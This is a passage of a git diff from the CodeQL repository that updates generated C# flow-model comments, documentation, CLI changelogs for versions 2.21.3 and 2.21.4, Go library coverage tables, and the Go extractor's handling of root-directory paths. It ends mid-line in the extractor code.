heuristic-summary=Models;EqualsGetHashCodeNoFlow;false;Equals;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;EqualsGetHashCodeNoFlow;false;Equals;(System.String);;Argument[0];ReturnValue;value;dfc-generated public string Equals(string s) { @@ -606,7 +606,7 @@ public abstract class BasePublic public class AImplBasePublic : BasePublic { - // heuristic-summary=Models;Inheritance+BasePublic;true;Id;(System.String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;Inheritance+BasePublic;true;Id;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;Inheritance+BasePublic;true;Id;(System.String);;Argument[0];ReturnValue;value;dfc-generated public override string Id(string x) { @@ -636,7 +636,7 @@ private abstract class C : IPublic2 public class BImpl : B { - // heuristic-summary=Models;Inheritance+IPublic1;true;Id;(System.String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;Inheritance+IPublic1;true;Id;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;Inheritance+IPublic1;true;Id;(System.String);;Argument[0];ReturnValue;value;dfc-generated public override string Id(string x) { @@ -646,7 +646,7 @@ public override string Id(string x) private class CImpl : C { - // heuristic-summary=Models;Inheritance+IPublic2;true;Id;(System.String);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;Inheritance+IPublic2;true;Id;(System.String);;Argument[0];ReturnValue;value;df-generated // contentbased-summary=Models;Inheritance+IPublic2;true;Id;(System.String);;Argument[0];ReturnValue;value;dfc-generated public override string Id(string x) { @@ -1035,14 +1035,14 @@ public override object GetValue() public class ParameterModifiers { // contentbased-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated - // heuristic-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated + // heuristic-summary=Models;ParameterModifiers;false;Copy;(System.Object,System.Object);;Argument[0];Argument[1];value;df-generated public void Copy(object key, out object value) { value = key; } // contentbased-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;dfc-generated - // heuristic-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];taint;df-generated + // heuristic-summary=Models;ParameterModifiers;false;CopyToRef;(System.Object,System.Object);;Argument[0];Argument[1];value;df-generated public void CopyToRef(object key, ref object value) { value = key; @@ -1062,7 +1062,7 @@ public void RefParamUse(ref object value) } // contentbased-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;dfc-generated - // heuristic-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;taint;df-generated + // heuristic-summary=Models;ParameterModifiers;false;InReturn;(System.Object);;Argument[0];ReturnValue;value;df-generated public object InReturn(in object v) { return v; diff --git a/csharp/scripts/stubs/README.md b/csharp/scripts/stubs/README.md index 54a34b64d194..0d67d9bfb70b 100644 --- a/csharp/scripts/stubs/README.md +++ b/csharp/scripts/stubs/README.md @@ -1,6 +1,6 @@ # Generate stubs for a single NuGet package -Stubs can be generated from Nuget packages with the `make_stubs_nuget.py` script. +Stubs can be generated from NuGet packages with the `make_stubs_nuget.py` script. The following calls generate stubs for `Newtonsoft.Json`: @@ -13,7 +13,7 @@ python3 make_stubs_nuget.py classlib Newtonsoft.Json 13.0.1 /Users/tmp/working-d The output stubs are found in the `[DIR]/output/stubs` folder and can be copied over to `csharp/ql/test/resources/stubs`. -In some more involved cases the output files need to be edited. For example `ServiceStack` has Nuget dependencies, which +In some more involved cases the output files need to be edited. For example `ServiceStack` has NuGet dependencies, which are included in the `Microsoft.NETCore.App` framework stub. These dependencies generate empty packages, which can be removed. The `ProjectReference` entries referencing these removed empty packages also need to be deleted from the `.csproj` files. diff --git a/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst index 5676a77cf866..2bf452b5a90b 100644 --- a/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst +++ b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst @@ -43,4 +43,43 @@ Customizing Actions-specific analysis: - **untrustedGhCommandDataModel**\(cmd_regex, flag) - **untrustedGitCommandDataModel**\(cmd_regex, flag) - **vulnerableActionsDataModel**\(action, vulnerable_version, vulnerable_sha, fixed_version) -- **workflowDataModel**\(path, trigger, job, secrets_source, permissions, runner) \ No newline at end of file +- **workflowDataModel**\(path, trigger, job, secrets_source, permissions, runner) + +Examples of custom model definitions +------------------------------------ + +The examples in this section are taken from the standard CodeQL Actions query pack published by GitHub. They demonstrate how to add tuples to extend extensible predicates that are used by the standard queries. + +Example: Extend the trusted Actions publishers for the ``actions/unpinned-tag`` query +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If there is an Action publisher that you trust, you can include the owner name/organization in a data extension model pack to add it to the allow list for this query. Adding owners to this list will prevent security alerts when using unpinned tags for Actions published by that owner. + +To allow any Action from the publisher ``octodemo``, such as ``octodemo/3rd-party-action``, follow these steps: + +1. Create a data extension file ``/models/trusted-owner.model.yml`` with the following content: + + .. code-block:: yaml + + extensions: + - addsTo: + pack: codeql/actions-all + extensible: trustedActionsOwnerDataModel + data: + - ["octodemo"] + +2. Create a model pack file ``/codeql-pack.yml`` with the following content: + + .. code-block:: yaml + + name: my-org/actions-extensions-model-pack + version: 0.0.0 + library: true + extensionTargets: + codeql/actions-all: '*' + dataExtensions: + - models/**/*.yml + +3. Ensure that the model pack is included in your CodeQL analysis. + +By following these steps, you will add ``octodemo`` to the list of trusted Action publishers, and the query will no longer generate security alerts for unpinned tags from this publisher. For more information, see `Extending CodeQL coverage with CodeQL model packs in default setup `_ and `Creating and working with CodeQL packs `_. diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst index d6b934449252..76c038bded29 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst @@ -35,7 +35,7 @@ Bug Fixes GitHub Actions """""""""""""" -* The :code:`actions/unversioned-immutable-action` query will no longer report any alerts, since the Immutable Actions feature is not yet available for customer use. The query remains in the default Code Scanning suites for use internal to GitHub. Once the Immutable Actions feature is available, the query will be updated to report alerts again. +* The :code:`actions/unversioned-immutable-action` query will no longer report any alerts, since the Immutable Actions feature is not yet available for customer use. The query has also been moved to the experimental folder and will not be used in code scanning unless it is explicitly added to a code scanning configuration. Once the Immutable Actions feature is available, the query will be updated to report alerts again. Major Analysis Improvements ~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst index 2a8e20d84d1f..40587985d9d9 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst @@ -37,14 +37,6 @@ Bug Fixes Query Packs ----------- -New Features -~~~~~~~~~~~~ - -GitHub Actions -"""""""""""""" - -* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. - Bug Fixes ~~~~~~~~~ @@ -87,6 +79,14 @@ Python * The :code:`py/mixed-tuple-returns` query no longer flags instances where the tuple is passed into the function as an argument, as this led to too many false positives. +New Features +~~~~~~~~~~~~ + +GitHub Actions +"""""""""""""" + +* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. + Language Libraries ------------------ @@ -131,17 +131,17 @@ Ruby New Features ~~~~~~~~~~~~ -GitHub Actions -"""""""""""""" - -* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. - C/C++ """"" * Calling conventions explicitly specified on function declarations (:code:`__cdecl`, :code:`__stdcall`, :code:`__fastcall`, etc.) are now represented as specifiers of those declarations. * A new class :code:`CallingConventionSpecifier` extending the :code:`Specifier` class was introduced, which represents explicitly specified calling conventions. +GitHub Actions +"""""""""""""" + +* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. + Shared Libraries ---------------- diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.3.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.3.rst new file mode 100644 index 000000000000..d499f27dcb12 --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.3.rst @@ -0,0 +1,159 @@ +.. _codeql-cli-2.21.3: + +========================== +CodeQL 2.21.3 (2025-05-15) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.21.3 runs a total of 452 security queries when configured with the Default suite (covering 168 CWE). The Extended suite enables an additional 136 queries (covering 35 more CWE). + +CodeQL CLI +---------- + +Miscellaneous +~~~~~~~~~~~~~ + +* Windows binaries for the CodeQL CLI are now built with :code:`/guard:cf`, enabling `Control Flow Guard `__. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C# +"" + +* Changed the precision of the :code:`cs/equality-on-floats` query from medium to high. + +JavaScript/TypeScript +""""""""""""""""""""" + +* Type information is now propagated more precisely through :code:`Promise.all()` calls, + leading to more resolved calls and more sources and sinks being detected. + +Query Metadata Changes +~~~~~~~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* The tag :code:`external/cwe/cwe-14` has been removed from :code:`cpp/memset-may-be-deleted` and the tag :code:`external/cwe/cwe-014` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/count-untrusted-data-external-api-ir` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/untrusted-data-to-external-api-ir` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/late-check-of-function-argument` and the tag :code:`external/cwe/cwe-020` has been added. + +C# +"" + +* The tag :code:`external/cwe/cwe-13` has been removed from :code:`cs/password-in-configuration` and the tag :code:`external/cwe/cwe-013` has been added. +* The tag :code:`external/cwe/cwe-11` has been removed from :code:`cs/web/debug-binary` and the tag :code:`external/cwe/cwe-011` has been added. +* The tag :code:`external/cwe/cwe-16` has been removed from :code:`cs/web/large-max-request-length` and the tag :code:`external/cwe/cwe-016` has been added. +* The tag :code:`external/cwe/cwe-16` has been removed from :code:`cs/web/request-validation-disabled` and the tag :code:`external/cwe/cwe-016` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cs/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cs/serialization-check-bypass` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cs/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-12` has been removed from :code:`cs/web/missing-global-error-handler` and the tag :code:`external/cwe/cwe-012` has been added. + +Golang +"""""" + +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/incomplete-hostname-regexp` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/regex/missing-regexp-anchor` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/suspicious-character-in-regex` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/untrusted-data-to-unknown-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-90` has been removed from :code:`go/ldap-injection` and the tag :code:`external/cwe/cwe-090` has been added. +* The tag :code:`external/cwe/cwe-74` has been removed from :code:`go/dsn-injection` and the tag :code:`external/cwe/cwe-074` has been added. +* The tag :code:`external/cwe/cwe-74` has been removed from :code:`go/dsn-injection-local` and the tag :code:`external/cwe/cwe-074` has been added. +* The tag :code:`external/cwe/cwe-79` has been removed from :code:`go/html-template-escaping-passthrough` and the tag :code:`external/cwe/cwe-079` has been added. + +Java/Kotlin +""""""""""" + +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`java/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`java/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-93` has been removed from :code:`java/netty-http-request-or-response-splitting` and the tag :code:`external/cwe/cwe-093` has been added. + +JavaScript/TypeScript +""""""""""""""""""""" + +* The tag :code:`external/cwe/cwe-79` has been removed from :code:`js/disabling-electron-websecurity` and the tag :code:`external/cwe/cwe-079` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`js/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`js/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`js/untrusted-data-to-external-api-more-sources` and the tag :code:`external/cwe/cwe-020` has been added. + +Python +"""""" + +* The tags :code:`security/cwe/cwe-94` and :code:`security/cwe/cwe-95` have been removed from :code:`py/use-of-input` and the tags :code:`external/cwe/cwe-094` and :code:`external/cwe/cwe-095` have been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/cookie-injection` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/incomplete-url-substring-sanitization` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-94` has been removed from :code:`py/js2py-rce` and the tag :code:`external/cwe/cwe-094` has been added. + +Ruby +"""" + +* The precision of :code:`rb/useless-assignment-to-local` has been adjusted from :code:`medium` to :code:`high`. +* The tag :code:`external/cwe/cwe-94` has been removed from :code:`rb/server-side-template-injection` and the tag :code:`external/cwe/cwe-094` has been added. + +Language Libraries +------------------ + +Bug Fixes +~~~~~~~~~ + +C/C++ +""""" + +* Fixed an infinite loop in :code:`semmle.code.cpp.rangeanalysis.new.RangeAnalysis` when computing ranges in very large and complex function bodies. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +JavaScript/TypeScript +""""""""""""""""""""" + +* Enhanced modeling of the `fastify `__ framework to support the :code:`all` route handler method. +* Improved modeling of the |link-code-shelljs-1|_ and |link-code-async-shelljs-2|_ libraries by adding support for the :code:`which`, :code:`cmd`, :code:`asyncExec` and :code:`env`. +* Added support for the :code:`fastify` :code:`addHook` method. + +Python +"""""" + +* Added modeling for the :code:`hdbcli` PyPI package as a database library implementing PEP 249. +* Added header write model for :code:`send_header` in :code:`http.server`. + +New Features +~~~~~~~~~~~~ + +Java/Kotlin +""""""""""" + +* Kotlin versions up to 2.2.0\ *x* are now supported. Support for the Kotlin 1.5.x series is dropped (so the minimum Kotlin version is now 1.6.0). + +Swift +""""" + +* Added AST nodes :code:`UnsafeCastExpr`, :code:`TypeValueExpr`, :code:`IntegerType`, and :code:`BuiltinFixedArrayType` that correspond to new nodes added by Swift 6.1. + +.. |link-code-shelljs-1| replace:: :code:`shelljs`\ +.. _link-code-shelljs-1: https://www.npmjs.com/package/shelljs + +.. |link-code-async-shelljs-2| replace:: :code:`async-shelljs`\ +.. _link-code-async-shelljs-2: https://www.npmjs.com/package/async-shelljs + diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst new file mode 100644 index 000000000000..3603d345d71b --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.4.rst @@ -0,0 +1,187 @@ +.. _codeql-cli-2.21.4: + +========================== +CodeQL 2.21.4 (2025-06-02) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.21.4 runs a total of 449 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE). + +CodeQL CLI +---------- + +Deprecations +~~~~~~~~~~~~ + +* The :code:`clang_vector_types`, :code:`clang_attributes`, and :code:`flax-vector-conversions` command line options have been removed from the C/C++ extractor. These options were introduced as workarounds to frontend limitations in earlier versions of the extractor and are no longer needed when calling the extractor directly. + +Miscellaneous +~~~~~~~~~~~~~ + +* The build of Eclipse Temurin OpenJDK that is used to run the CodeQL CLI has been updated to version 21.0.7. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Added flow model for the :code:`SQLite` and :code:`OpenSSL` libraries. This may result in more alerts when running queries on codebases that use these libraries. + +C# +"" + +* The precision of the query :code:`cs/missed-readonly-modifier` has been improved. Some false positives related to static fields and struct type fields have been removed. +* The queries :code:`cs/password-in-configuration`, :code:`cs/hardcoded-credentials` and :code:`cs/hardcoded-connection-string-credentials` have been removed from all query suites. +* The precision of the query :code:`cs/gethashcode-is-not-defined` has been improved (false negative reduction). Calls to more methods (and indexers) that rely on the invariant :code:`e1.Equals(e2)` implies :code:`e1.GetHashCode() == e2.GetHashCode()` are taken into account. +* The precision of the query :code:`cs/uncontrolled-format-string` has been improved (false negative reduction). Calls to :code:`System.Text.CompositeFormat.Parse` are now considered a format like method call. + +Golang +"""""" + +* The query :code:`go/hardcoded-credentials` has been removed from all query suites. + +Java/Kotlin +""""""""""" + +* The query :code:`java/hardcoded-credential-api-call` has been removed from all query suites. + +JavaScript/TypeScript +""""""""""""""""""""" + +* The queries :code:`js/hardcoded-credentials` and :code:`js/password-in-configuration-file` have been removed from all query suites. + +Python +"""""" + +* The query :code:`py/hardcoded-credentials` has been removed from all query suites. + +Ruby +"""" + +* The query :code:`rb/hardcoded-credentials` has been removed from all query suites. + +Swift +""""" + +* The queries :code:`swift/hardcoded-key` and :code:`swift/constant-password` have been removed from all query suites. + +GitHub Actions +"""""""""""""" + +* The query :code:`actions/missing-workflow-permissions` is now aware of the minimal permissions needed for the actions :code:`deploy-pages`, :code:`delete-package-versions`, :code:`ai-inference`. This should lead to better alert messages and better fix suggestions. + +Language Libraries +------------------ + +Bug Fixes +~~~~~~~~~ + +C/C++ +""""" + +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ArrayAggregateLiteral`\ s. +* Fixed a problem where :code:`asExpr()` on :code:`DataFlow::Node` would never return :code:`ClassAggregateLiteral`\ s. + +Ruby +"""" + +* Bug Fixes +* The Ruby printAst.qll library now orders AST nodes slightly differently: child nodes that do not literally appear in the source code, but whose parent nodes do, are assigned a deterministic order based on a combination of source location and logical order within the parent. This fixes the non-deterministic ordering that sometimes occurred depending on evaluation order. The effect may also be visible in downstream uses of the printAst library, such as the AST view in the VSCode extension. + +Breaking Changes +~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* Deleted the deprecated :code:`userInputArgument` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputReturn` predicate from the :code:`Security.qll`. +* Deleted the deprecated :code:`isUserInput` predicate and its convenience accessor from the :code:`Security.qll`. +* Deleted the deprecated :code:`userInputArgument` predicate from the :code:`SecurityOptions.qll`. +* Deleted the deprecated :code:`userInputReturned` predicate from the :code:`SecurityOptions.qll`. + +Swift +""""" + +* Deleted the deprecated :code:`parseContent` predicate from the :code:`ExternalFlow.qll`. +* Deleted the deprecated :code:`hasLocationInfo` predicate from the :code:`DataFlowPublic.qll`. +* Deleted the deprecated :code:`SummaryComponent` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` class from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponent` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`SummaryComponentStack` module from the :code:`FlowSummary.qll`. +* Deleted the deprecated :code:`RequiredSummaryComponentStack` class from the :code:`FlowSummary.qll`. + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C# +"" + +* The generated Models as Data (MaD) models for .NET 9 Runtime have been updated and are now more precise (due to a recent model generator improvement). + +JavaScript/TypeScript +""""""""""""""""""""" + +* Improved analysis for :code:`ES6 classes` mixed with :code:`function prototypes`, leading to more accurate call graph resolution. + +Python +"""""" + +* The Python extractor now extracts files in hidden directories by default. If you would like to skip files in hidden directories, add :code:`paths-ignore: ["**/.*/**"]` to your `Code Scanning config `__. If you would like to skip all hidden files, you can use :code:`paths-ignore: ["**/.*"]`. When using the CodeQL CLI for extraction, specify the configuration (creating the configuration file if necessary) using the :code:`--codescanning-config` option. + +Ruby +"""" + +* Captured variables are currently considered live when the capturing function exits normally. Now they are also considered live when the capturing function exits via an exception. + +Swift +""""" + +* Updated to allow analysis of Swift 6.1.1. +* :code:`TypeValueExpr` experimental AST leaf is now implemented in the control flow library + +Deprecated APIs +~~~~~~~~~~~~~~~ + +Java/Kotlin +""""""""""" + +* The predicate :code:`getValue()` on :code:`SpringRequestMappingMethod` is now deprecated. Use :code:`getAValue()` instead. +* Java now uses the shared :code:`BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The :code:`BasicBlock` class itself no longer extends :code:`ControlFlowNode` - the predicate :code:`getFirstNode` can be used to fix any QL code that somehow relied on this. + +New Features +~~~~~~~~~~~~ + +C/C++ +""""" + +* Added local flow source models for :code:`ReadFile`, :code:`ReadFileEx`, :code:`MapViewOfFile`, :code:`MapViewOfFile2`, :code:`MapViewOfFile3`, :code:`MapViewOfFile3FromApp`, :code:`MapViewOfFileEx`, :code:`MapViewOfFileFromApp`, :code:`MapViewOfFileNuma2`, and :code:`NtReadFile`. +* Added the :code:`pCmdLine` arguments of :code:`WinMain` and :code:`wWinMain` as local flow sources. +* Added source models for :code:`GetCommandLineA`, :code:`GetCommandLineW`, :code:`GetEnvironmentStringsA`, :code:`GetEnvironmentStringsW`, :code:`GetEnvironmentVariableA`, and :code:`GetEnvironmentVariableW`. +* Added summary models for :code:`CommandLineToArgvA` and :code:`CommandLineToArgvW`. +* Added support for :code:`wmain` as part of the ArgvSource model. + +Shared Libraries +---------------- + +Breaking Changes +~~~~~~~~~~~~~~~~ + +Static Single Assignment (SSA) +"""""""""""""""""""""""""""""" + +* Adjusted the Guards interface in the SSA data flow integration to distinguish :code:`hasBranchEdge` from :code:`controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst index 92781448af86..be6d2582d6ec 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/index.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst @@ -11,6 +11,8 @@ A list of queries for each suite and language `is available here `_,``github.com/antchfx/xpath*``,,,4 `appleboy/gin-jwt `_,``github.com/appleboy/gin-jwt*``,,,1 `beego `_,"``github.com/astaxie/beego*``, ``github.com/beego/beego*``",102,63,213 + `bigquery `_,``cloud.google.com/go/bigquery*``,,,1 `chi `_,``github.com/go-chi/chi*``,3,, `cristalhq/jwt `_,``github.com/cristalhq/jwt*``,,,1 `env `_,``github.com/caarlos0/env*``,5,2, @@ -53,7 +54,7 @@ Go framework & library support `goproxy `_,``github.com/elazarl/goproxy*``,2,2,2 `gorilla/mux `_,``github.com/gorilla/mux*``,1,, `gorilla/websocket `_,``github.com/gorilla/websocket*``,3,, - `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``",16,4,48 + `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``, ``github.com/kanikanema/gorqlite*``",24,6,72 `goxpath `_,``github.com/ChrisTrenkamp/goxpath*``,,,3 `htmlquery `_,``github.com/antchfx/htmlquery*``,,,4 `json-iterator `_,``github.com/json-iterator/go*``,,4, @@ -73,6 +74,5 @@ Go framework & library support `xpathparser `_,``github.com/santhosh-tekuri/xpathparser*``,,,2 `yaml `_,``gopkg.in/yaml*``,,9, `zap `_,``go.uber.org/zap*``,,11,33 - Others,``github.com/kanikanema/gorqlite``,8,2,24 - Totals,,688,1069,1556 + Totals,,688,1069,1557 diff --git a/go/documentation/library-coverage/frameworks.csv b/go/documentation/library-coverage/frameworks.csv index bd5a92490687..b5a4c6d65b8c 100644 --- a/go/documentation/library-coverage/frameworks.csv +++ b/go/documentation/library-coverage/frameworks.csv @@ -3,6 +3,7 @@ Standard library,https://pkg.go.dev/std, archive/* bufio bytes cmp compress/* co appleboy/gin-jwt,https://github.com/appleboy/gin-jwt,github.com/appleboy/gin-jwt* Afero,https://github.com/spf13/afero,github.com/spf13/afero* beego,https://beego.me/,github.com/astaxie/beego* github.com/beego/beego* +bigquery,https://pkg.go.dev/cloud.google.com/go/bigquery,cloud.google.com/go/bigquery* Bun,https://bun.uptrace.dev/,github.com/uptrace/bun* CleverGo,https://github.com/clevergo/clevergo,clevergo.tech/clevergo* github.com/clevergo/clevergo* Couchbase official client(gocb),https://github.com/couchbase/gocb,github.com/couchbase/gocb* gopkg.in/couchbase/gocb* @@ -35,7 +36,7 @@ golang.org/x/net,https://pkg.go.dev/golang.org/x/net,golang.org/x/net* goproxy,https://github.com/elazarl/goproxy,github.com/elazarl/goproxy* gorilla/mux,https://github.com/gorilla/mux,github.com/gorilla/mux* gorilla/websocket,https://github.com/gorilla/websocket,github.com/gorilla/websocket* -gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* +gorqlite,https://github.com/rqlite/gorqlite,github.com/raindog308/gorqlite* github.com/rqlite/gorqlite* github.com/kanikanema/gorqlite* goxpath,https://github.com/ChrisTrenkamp/goxpath/wiki,github.com/ChrisTrenkamp/goxpath* htmlquery,https://github.com/antchfx/htmlquery,github.com/antchfx/htmlquery* Iris,https://www.iris-go.com/,github.com/kataras/iris* diff --git a/go/extractor/extractor.go b/go/extractor/extractor.go index c45443907530..67c127375847 100644 --- a/go/extractor/extractor.go +++ b/go/extractor/extractor.go @@ -13,6 +13,7 @@ import ( "log" "os" "path/filepath" + "reflect" "regexp" "runtime" "strconv" @@ -773,18 +774,25 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu var parentLbl trap.Label for i, component := range components { + // displayPath is the same as rawPath except for root directories: if + // rawPath is "" then displayPath is "/"; if rawPath is "C:" then + // displayPath is "C:/". + var rawPath, displayPath string if i == 0 { - if component == "" { - path = "/" + rawPath = component + if component == "" || regexp.MustCompile(`^[A-Za-z]:$`).MatchString(component) { + // Handle linux root and Windows drive letters by appending "/" + displayPath = rawPath + "/" } else { - path = component + displayPath = rawPath } } else { - path = parentPath + "/" + component + rawPath = parentPath + "/" + component + displayPath = rawPath } if i == len(components)-1 { lbl := tw.Labeler.FileLabelFor(file) - dbscheme.FilesTable.Emit(tw, lbl, path) + dbscheme.FilesTable.Emit(tw, lbl, displayPath) dbscheme.ContainerParentTable.Emit(tw, parentLbl, lbl) dbscheme.HasLocationTable.Emit(tw, lbl, emitLocation(tw, lbl, 0, 0, 0, 0)) extraction.Lock.Lock() @@ -795,14 +803,12 @@ func (extraction *Extraction) extractFileInfo(tw *trap.Writer, file string, isDu extraction.Lock.Unlock() break } - lbl := tw.Labeler.GlobalID(util.EscapeTrapSpecialChars(path) + ";folder") - dbscheme.FoldersTable.Emit(tw, lbl, path) + lbl := tw.Labeler.GlobalID(util.EscapeTrapSpecialChars(displayPath) + ";folder") + dbscheme.FoldersTable.Emit(tw, lbl, displayPath) if i > 0 { dbscheme.ContainerParentTable.Emit(tw, parentLbl, lbl) } - if path != "/" { - parentPath = path - } + parentPath = rawPath parentLbl = lbl } } @@ -936,7 +942,7 @@ func emitScopeNodeInfo(tw *trap.Writer, nd ast.Node, lbl trap.Label) { // extractExpr extracts AST information for the given expression and all its subexpressions func extractExpr(tw *trap.Writer, expr ast.Expr, parent trap.Label, idx int, skipExtractingValue 